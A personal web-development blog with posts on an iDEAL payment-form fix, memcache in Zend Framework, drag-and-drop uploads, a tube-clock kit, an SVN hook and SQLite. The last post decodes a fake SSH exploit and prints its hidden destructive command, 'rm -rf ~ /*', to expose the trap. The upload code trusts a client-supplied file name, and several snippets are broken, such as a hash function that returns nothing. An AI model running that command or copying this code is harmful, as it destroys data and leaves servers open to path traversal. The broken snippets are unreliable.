Web Development and stuff…

Something all Web developers wish for is the fact that Internet Explorer 6.0 disappears from the face of this planet. And after some good initiatives like IE6 no more It now seems the biggest in the field is phasing out support for older browsers. Sometimes its good to have so much influence i guess?

Good move!

http://googleenterprise.blogspot.com/2010/01/modern-browsers-for-modern-applications.html

Last Friday a friend approached me with a problem he was having. He was trying to setup a small webshop in a existing Wordpress site. For the webshop he was using a plug-in called wp-e-commerce. He chose this plug-in because it is one of few that supports iDEAL payments. Because this shop only serves Holland the only payment option they need is iDEAL.

The iDEAL plug-in seemed to function properly. But the bank portal didn’t respond as expected. The first error i spotted was the mis configured referrer. The error code for this was.

unknown order/0/r

This didn’t solve the problem though. The message change from the previous to

unknown order/1/s

So i spend the next hours reading the manual he got from his bank. And came to the conclusion they do it just a bit different then for what this plug-in was written. The bank expects a hash to be send along each order made. This hash is build up from parts of the order and a secret string. This combined is hashed with the SHA-1 algorithm And added to the form as a hidden field. I wrote a small function to create hash and changed a few other small things in the order form.

The original form looks like this:

<script type="text/javascript">
var Amount = ;
var PSPID = "";
var AM;
if (isNaN(Amount)) {
	alert("Amount not a number: " + Amount + " !");
	AM = "";
} else {
	AM = Math.round(parseFloat(Amount)*100);
}
</script>
<form method='post' action='' id='ideal_form' name='ideal_form'>
<script type="text/javascript">
document.write("
");
document.write("
");
</script>
<INPUT TYPE="hidden" NAME="SHASign" VALUE="4FF8C2FB03B0AA45EA5DE9503AEACB6B603DCFCC">
<input type="hidden" NAME="orderID" value="" />
<input type="hidden" name="currency" value="" />
<input type="hidden" name="language" value="" />
<input type="hidden" name="accepturl" value="">
<input type="hidden" name="cancelurl" value="">
<!--customer information starts-->
<input type="hidden" name="CN" value="">
<input type="hidden" name="EMAIL" value="">
<input type="hidden" name="ownerZIP" value="">
<input type="hidden" name="owneraddress" value="">
<input type="hidden" name="ownercty" value="">
<input type="hidden" name="ownertown" value="">
<input type="hidden" name="ownertelno" value="">
<!--customer information ends-->
<input type="hidden" name="PM" value="iDEAL" />

I didn’t really understand why some values were written by JavaScript. So i removed the JavaScript lines and added the fields to the form. And after adding the hash function statement it looks like this.

<form method='post' action='' id='ideal_form' name='ideal_form'>

<input type="hidden" NAME="PSPID" value="" />
<input type="hidden" NAME="orderID" value="" />
<input type="hidden" NAME="amount" value="" />
<input type="hidden" name="currency" value="" />
<input type="hidden" name="language" value="" />
<input type="hidden" name="accepturl" value="">
<input type="hidden" name="cancelurl" value="">
<!--customer information starts-->
<input type="hidden" name="CN" value="">
<input type="hidden" name="EMAIL" value="">
<input type="hidden" name="ownerZIP" value="">
<input type="hidden" name="owneraddress" value="">
<input type="hidden" name="ownercty" value="">
<input type="hidden" name="ownertown" value="">
<input type="hidden" name="ownertelno" value="">
<!--customer information ends-->
<input type="hidden" name="PM" value="iDEAL" />

echo createSHA1Hash(array(
		$purchase_log[0]['id'],
		($amount*100),
		get_option('ideal_currency'),
		get_option('ideal_id'),
		'[SHA1-IN-HASH]'
	));

</form>

The function i can be placed anywhere in the page. Or a include file. Here’s the code. The only thing that has to be done is replace [SHA1-IN-HASH] with the Hash configured in the bank’s ideal admin.

function createSHA1Hash($hashOptions) {
        $str = implode('', $hashOptions);

        return '
';
    }

While doing some searches i noticed there are more people having issues with this plug-in. So maybe this will save somebody a bit of time.

Last week i had the chance to work with memcache. Something i hadn’t done before. For caching i mostly rely on APC for bytecode. And file based caching for content. Using memecache extension for PHP and de memcached service gives a whole range of features for caching data. And an easy way to manage all this cached data.

The project i am working on is based on Zend Framework. And there for this post will reflect working with memcache in ZF only. With ZF and memcache it’s possible to do frontend and backend caching. I will focuse on the backend side for now. But will setup the frontend as well.

If you don’t have memcache installed do it now. It’s not that hard. On my debian box it went somethign like this:

$ aptitude install memcached
$ aptitude install php5-memcache

Now a days evrything seems to go automatic. So no need to edit the php.ini or anyhting. To check if PHP loaded the memcache extension you can do:

$ php -m | grep memcache
memcache

Memached is automatically started after install. So let’s check if everything went ok.

$ ps -aux | grep memcached
nobody 20965 0.0 0.5 42900 23072 ? S Jan28 0:01 /usr/bin/memcached -m 64 -p 11211 -u nobody -l 127.0.0.1
root 22393 0.0 0.0 87940 776 pts/0 R+ 12:06 0:00 grep memcached

$ netstat -an | grep 11211
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN

Looking good. Now it’s time to do some configuration in ZF.

First of the frontend settings. With ‘type’ we set the cache method for the frontend. We chose the standard Core class for this. With ‘lifetime’ we set the time for which a cached entity is valid. The ‘cache_id_prefix’ is a nice way to group for instnace cache data by controller. So just give it a name.

cache.frontend.type = Core
cache.frontend.options.lifetime = 600
cache.frontend.options.automatic_serialization = true
cache.frontend.options.cache_id_prefix = [some string]
cache.frontend.options.cache = true

Now it’s the backends turn to get configured. For ‘type’ we choose Memcached. More types are available. For more info read the ZF manual. The rest of the settings are basic memcached settings like host, port and persitance.

cache.backend.type = Memcached
cache.backend.options.servers.1.host = 127.0.0.1
cache.backend.options.servers.1.port = 11211
cache.backend.options.servers.1.persistent = true
cache.backend.options.servers.1.weight = 1
cache.backend.options.servers.1.timeout = 5
cache.backend.options.servers.1.retry_interval = 15

Finally we can do some PHP code. To get the cache instance setup we add a _initCache() method to the bootstrap class. Inside this method we retrieve the config options by calling getOptions(). And setup the cache object. Which is then stored in the Registry for later use.

protected function _initCache()
{
        $options = $this->getOptions();

        if (isset($options['cache'])) {
            $cache = Zend_Cache::factory(
                $options['cache']['frontend']['type'],
                $options['cache']['backend']['type'],
                $options['cache']['frontend']['options'],
                $options['cache']['backend']['options']
            );

            Zend_Registry::set('cache', $cache);
            return $cache;
        }
}

That’s all set. I used the caching for some REST service responses. So i will stick to that in this post as well. The class has a method for adding a cache object.

public function setCache(Zend_Cache_Core $cache) {
    $this->cache = $cache;
}

So fetching the cache instance and passing it to the REST client will look something like this:

$cache = Zend_Registry::get('cache');
$cache->setLifetime(86400);

$client = new Client();
$client->setCache($cache);

The first thing we do inside the calling method is set a unique key for the cache entry.

$cache_id = 'getPage_' . $this->getDomain()
            . $this->getPageName()
            . $this->getCountry();

Then we check if the cache object is set. If that’s the case we check to see if the unique key is already available in the cache.

if (!isset($this->cache) || !($ret = $this->cache->load($cache_id))) {

If a value is returned from the cahce we will return it. If not then we will do the webservice call and store the return data in cache.

 $ret = $this->restClient->call('getPage', array());

if (isset($this->cache)) {
    $this->cache->save($ret, $cache_id);
}

The complete method looks something like this.

protected function getPageFromWebservice()
{
        $cache_id = 'getPage_' . $this->getDomain()
            . $this->getPageName()
            . $this->getCountry();

        if (!isset($this->cache) || !($ret = $this->cache->load($cache_id))) {
            $ret = $this->restClient->call('getPage', array());

            if (isset($this->cache)) {
                $this->cache->save($ret, $cache_id);
            }
        }
        return $ret;
}

That’s all. It’s pretty basic stuff. But so cool!

I finally had some time to read through my ever growing list must read items and play with some new software. While reading up on the new Firefox 3.6 i noticed it came with the new XMLHttpRequest [2] object based on the new file API. And according to the new specs. This would allow for easy file uploads. Now there’s been some examples [2] on the web already. But i just wanted to get my hands dirty.

The new XMLHttpRequest object makes is possible to send files in a few different formats. The most important being the binary format. The code for sending a request with XMLHttpRequest2 looks the same as the previous version. Except for sendAsBinary() in this case.

var xhr = new XMLHttpRequest();

fileUpload = xhr.upload,
fileUpload.onload = function() {
    console.log("Sent!");
}

xhr.open("POST", "upload.php", true);
xhr.sendAsBinary(file.getAsBinary());

So let’s set things up for drag & drop. We need a div that will be the main drop point. And we need some event listeners to catch the drag * drop events. Let start by creating the drop zone. For this we use two simple divs. The outer div will listen for the drag & drop events. And the inner will catch the files.

Now let’s create our upload code.

var upload = {
    setup : function() {},
    uploadFiles : function() {event}
}
window.addEventListener("load", upload.setup, false);

The setup method will set all event listeners for drag & drop. And register the upload handler.

var container = document.getElementById('container');
var drop = document.getElementById('drop');

container.addEventListener("dragenter", function(event) {
        drop.innerHTML = '';
        event.stopPropagation();
        event.preventDefault();
    },
    false
);

container.addEventListener("dragover", function(event) {
        event.stopPropagation();
	event.preventDefault();
    },
    false
);

container.addEventListener("drop", upload.uploadFiles, false);

As you could see above. the uploadFiles() method gets a event returned from the drag & drop action. This is where the new file APi comes in play. To get to the file property we access the dataTransfer object.

var files = event.dataTransfer.files;

The actual uploading is easy as cake.

for (var x = 0; x < files.length; x++) {

    var file = files.item(x);
    var xhr = new XMLHttpRequest();

     fileUpload = xhr.upload,
     fileUpload.onload = function() {
         console.log("Sent!");
    }

    xhr.open("POST", "upload.php", true);

    xhr.setRequestHeader("Cache-Control", "no-cache");
    xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
    xhr.setRequestHeader("X-File-Name", file.fileName);
    xhr.setRequestHeader("X-File-Size", file.fileSize);
    xhr.setRequestHeader("Content-Type", "multipart/form-data");

    xhr.sendAsBinary(file.getAsBinary());
}

That's it for the client side. There is however a small problem on the receiving side. When handling uploaded files in PHP we expect the $_FILES array to be populated. This is not the case when streaming files from the client to the server. To get the needed file information we set some headers on the client side X-File-Name and X-File-Size. And since the $_FILES are is empty. We need an other way to get the file contents. So we will use php://input streams for that.

The contents of upload.php look like this:

require_once('Streamer.php');

$ft = new File_Streamer();
$ft->setDestination('data/');
$ft->receive();

With setDestination() the destination path for the uploaded files is set. And recieve() listens for any incoming files. Most of the magic is done in the recieve() method. So here's the code.

public function receive()
{
    if (!$this->isValid()) {
        throw new Exception('No file uploaded!');
    }

    file_put_contents(
        $this->_destination . $this->_fileName,
        file_get_contents("php://input")
    );

    return true;
}

I am impressed! This promises a lot of good. And offers some interesting options. Let's hope all browsers implement this gem. I still have one issue though. I can't get this to work in firefox under linux. The drag & drop events do not seem to function properly with files being dragged from the desktop. anybody know why?

If you interested in the complete code. you can find it here

A few months ago i got stranded on adda’s website. This stuff looks so interesting. But thinking about building my own gives me sweaty hands. I love to build computers from scratch. But building a motherboard… i don’t see me doing that anytime soon. Even though i have null knowledge of the subject. I decided to give it shot anyway. And ordered the Russian Tube Clock. It arrived pretty fast. But occupied some closet space for at least 3 weeks. I however managed to push my self into building this thing. So here goes.

When you unpack the whole thing and lay it out on a table it looks pretty impressive. And at this point i got the feeling i would never get this to work. But thank god for the internet. I quickly found some nice hand held guides to guide me through it.

I will not bother you with all specifics. because i can’t And for that you should read here and here Or just order the kit and give it a shot. it’s great. So after burning my self i managed to get the first set of components mounted properly on top of the PCB.

The only problem i encountered (and it spoiled most of the project) was the soldering iron. Which was a mess to start of with. And it was way to big for this delicate work. The result was my soldering didn’t look that proper as you can see in the image below.

The hardest part was to get the tube mounted correctly. One end of the tube is a spring of wires that need to be attached to a jack on the smaller PCB. It’s a time consuming and tedious job to do. But i think i managed. Although not all wires are as straight as they should have been.

It finally starts to look like something. After hooking it up to some power and running some tests. I was ready to build the outer casing.

The outer casing is a simple design. Done in Plexiglas. It looks simple. But it was a struggle to get the thing assembled.

After my struggle with the casing i switched the tube on. And was greeted by a nice blue/greenish color and a beep. The color is a bit different from what is shown on the main site. But that has something to do with the tubes i read. The brightness is adjustable so that’s no problem. As you can see i still miss one time delimiter. And the menu is still not function 100%. But the clock works. And i can set the alarm.

I had so much fun building this thing. that i ordered a new soldering iron. And will be doing a new attempt soon!

Having a hard time getting to sleep tonight. And was browsing my domain list. when i realized i still have this very short domain name that is just sitting there collecting dust. And since these URl shortener services are so hot lately i decided to roll my own.

So three hours, a bit of code and a short domain name later i present : 0x.vc (it’s shorter) It’s probably still full of holes and prone to XSS attacks. So be careful!

I was kinda bored yesterday. And was poking around the SVN hooks scripts. When i noticed the post-commit script i was using was written in Python. Nothing wrong with that. I just wondered how hard it would be to do the same in PHP. So i came up with a little test. Which at this moment lacks error checking and just looks plain ugly. But it does the job. and i only needed a working PHP CLI executable to make it work.

First we set the email address and the location of svnlook.

#!/usr/bin/php
<?php
error_reporting(E_ALL | E_STRICT); 

$address = 'some email address';
$svnlook = '/usr/bin/svnlook';

Use the argv array to get to the commandline parameters and build up a SVN statement to get some basic info.

$repository = $_SERVER['argv'][1];
$revision = $_SERVER['argv'][2];

$cmdInfo = "${svnlook} info ${repository} -r ${revision}";

$output = array();
exec($cmdInfo, $output);

$author = $output[0];
$date = $output[1];
$comment = $output[3];

Now let’s get the changes made in this revisions.

$output = array();
$cmdChanges ="${svnlook} diff ${repository} -r ${revision}";
exec($cmdChanges, $output);

Once we have the diff contents we can loop through the lines and use some simple regex to highlight the changes. I’ve added a bit more code to add pre tags for a better visual effect.

$patch = '<pre class="codeBlock">';
$lineCount = count($output);
for ($x=0; $x<=$lineCount; $x++) {

    if ($x > 0 && strstr($output[$x], 'Modified:')) {
        $patch .= '</pre><pre class="codeBlock">';
    }

    $textColor = 'normal';
    if (preg_match('/^\+/', $output[$x])) {
        $textColor = 'positive';
    }
    else if (preg_match('/^-/', $output[$x])) {
        $textColor = 'negative';
    }

    $patch .= '<span class="' . $textColor . '">' . htmlentities($output[$x]) . "</span><br>";

    if ($x == $lineCount) {
        $patch .= "</pre>";
    }
}

Now we can build the body for the email that will be generated.

$body .= "Author : " . $author . "<br>";
$body .= "Date : " . $date . "<br>";
$body .= "Comment : " . $comment . "<br><br>";

$body .= $patch;

Add a MIME header so my mail client displays it properly. And send it of through the build in mail() function.

$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

$bodyHTML = file_get_contents("/path/to/some/HTML/template");
$bodyHTML = str_replace('{EMAIL}', $body, $bodyHTML);

mail($address, 'SVN post-commit', $bodyHTML, $headers);

Two or three weeks ago i was reading post from Bjoern Schotte. That the guys at Mayflower created a poster for Zend Framework. Seems they really love it there. And since i am a big fan myself. I send Bjoern an email to ask for an English version. If available. So some time passed. And i completely forgot about it. Until i came home yesterday and found my own personal copy of the Mayflower Zend Framework poster in the mail.

It’s a cool poster. All the most common used components are there. A nice reference to have. And a great piece of promotion material for the framework it self. Now i just need to find a good spot for it. It will be the second A0 poster hanging here. And probably not the last one. Since mister PHP security himself Stefan Esser from SektionEins is working on a PHP security poster. If you would like your own copy. Send Bjoern an email.

Thanks guys.

My coworker Chris yesterday asked me how to change a column data type in a database. He wanted to change the data type from varchar to text. So my first reaction was to shout ALTER TABLE. But i didn’t realize he was using sqlite at the moment. So after reading the docs for a while. We came to the conclusion sqlite does support the ALTER statement. But it is very limited compared to say MySQL. And it doesn’t provide the option to alter the data types or column names.

So how should you change a column data type in an sqlite database? Well as far as i can see there is not really a simple solution. But here goes for our work around.

Let’s start off by creating a test database:

sqlite3 test.db “create table sync (id INTEGER PRIMARY KEY, data VARCHAR, num double, dateIn DATE);”

And insert some test data:

sqlite3 test.db “insert into sync (data, num) values (‘This is sampledata’, 3);”
sqlite3 test.db “insert into sync (data, num) values (‘More sample data’, 6);”
sqlite3 test.db “insert into sync (data, num) values (‘And a little more’, 9);”

Now comes the trick. We first create a temporary table and populate it with the data from the table we are going to alter.

sqlite3 test.db “create table temp_table as select * from sync;”

Drop the database to alter. And after that recreate it again. But this time with the changes we wanted to make. So we change the VARCHAR field to TEXT.

sqlite3 test.db “drop table sync;”
sqlite3 test.db “create table sync (id INTEGER PRIMARY KEY, data TEXT, num double, dateIn DATE);”

The only thing left now is to populate the new database with the data from the temporary table. And finally drop the temporary table.

sqlite3 test.db “insert into sync select * from temp_table;”
sqlite3 test.db “drop table temp_table;”

There must be a cleaner way to do this. But this worked for us!

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);